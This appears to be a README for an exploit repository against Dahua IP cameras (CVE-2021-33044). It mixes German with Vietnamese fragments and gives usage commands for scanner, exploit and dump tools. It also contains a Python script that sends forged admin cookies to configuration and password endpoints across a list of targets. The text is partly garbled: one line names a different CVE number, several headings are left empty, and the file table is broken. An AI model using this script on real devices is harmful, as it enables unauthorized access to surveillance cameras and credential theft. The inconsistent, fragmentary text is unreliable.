
# DAHUA_AUTH-BYPASS-CVE-2021-33044
Dahua-IP-Kameras sind IoT-Geräte, die häufig in Sicherheitsüberwachungssystemen eingesetzt werden. Da sie oft in internen Netzwerken bereitgestellt oder über das Internet erreicht werden, können Sicherheitslücken in IP-Kameras schwerwiegende Auswirkungen auf die Privatsphäre und die Informationssicherheit haben.
CVE-2021-33045 ist eine Sicherheitslücke, die in einigen Dahua-Kameramodellen besteht und unbefugten Zugriff auf interne Konfigurationsressourcen ohne gültige Authentifizierung ermöglicht. Diese Schwachstelle resultiert aus einer unzureichenden Zugriffskontrollmechanik in der Firmware des Geräts.
| Feld | Inhalt |
|---|---|
| CVE | CVE-2021-33044 |
| Typ | Authentication Bypass |
| Schweregrad | Critical (CVSS ~9.8) |
| Auth | Keine Authentifizierung erforderlich |
| Betroffen | Dahua-Kamera / DVR / NVR |
Die Schwachstelle resultiert aus einem unsicheren Authentifizierungsdesign in der Firmware der Dahua-Kameras:
Dies ermöglicht einem Angreifer:
Referenzen:
→ Client gửi HTTP request kèm cookie tùy ý
→ Camera kiểm tra cookie ở mức giao diện
→ Không xác minh session hợp lệ ở backend
→ Cho phép truy cập trực tiếp vào các endpoint cấu hình nội bộ
→ Trả về dữ liệu nhạy cảm
# Clone repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# Scan subnet (ports required)
python dahua_scanner.py https://example.com -p 80 8080 8800
# Single host with port
python dahua_scanner.py https://example.com
Übliche Dahua-Ports: 80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # Dump thiết bị sau khi bypass
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
Das Skript verwendet die Bibliothek requests und deaktiviert aktiv SSL-Warnungen, um SSL-Warnungen zu deaktivieren.
Die Funktion dump_accounts(ip, port=80) ist die Hauptfunktion, die für die Prüfung einer Kamera zuständig ist.
Die Hauptfunktion dient dazu:
Simulierte Authentifizierungs-Cookies. Die Funktion verwendet Cookie-Werte wie:
userName=adminuserLevel=1sessionID=00000000Bei betroffenen Kameraversionen überprüft das Backend die tatsächliche sessionID nicht, sodass das System annimmt, die Anfrage stamme von einem gültigen Administratorkonto.
Das Skript liest die Zielliste aus einer Eingabedatei und ruft nacheinander die Prüffunktion für jedes Gerät auf. Dieser Ansatz ermöglicht die automatische Bewertung mehrerer Kameras.
Diese Skripte wurden auf Grundlage folgender Quellen entwickelt:
Teststatus:
Dieses Projekt:
| Datei |
|---|
| Zweck |
|---|
| CVEs |
|---|
dahua_scanner.py | Netzwerkerkundung – findet Dahua-Kameras im Subnetz | Erkennung |
dahua_exploit.py | Multi-CVE-Scan-Tool – prüft alle Sicherheitslücken. | Alle |
dahua_auth_bypass.py | Spezialisierter Authentifizierungs-Bypass mit der Option --dump | CVE-2021-33044 |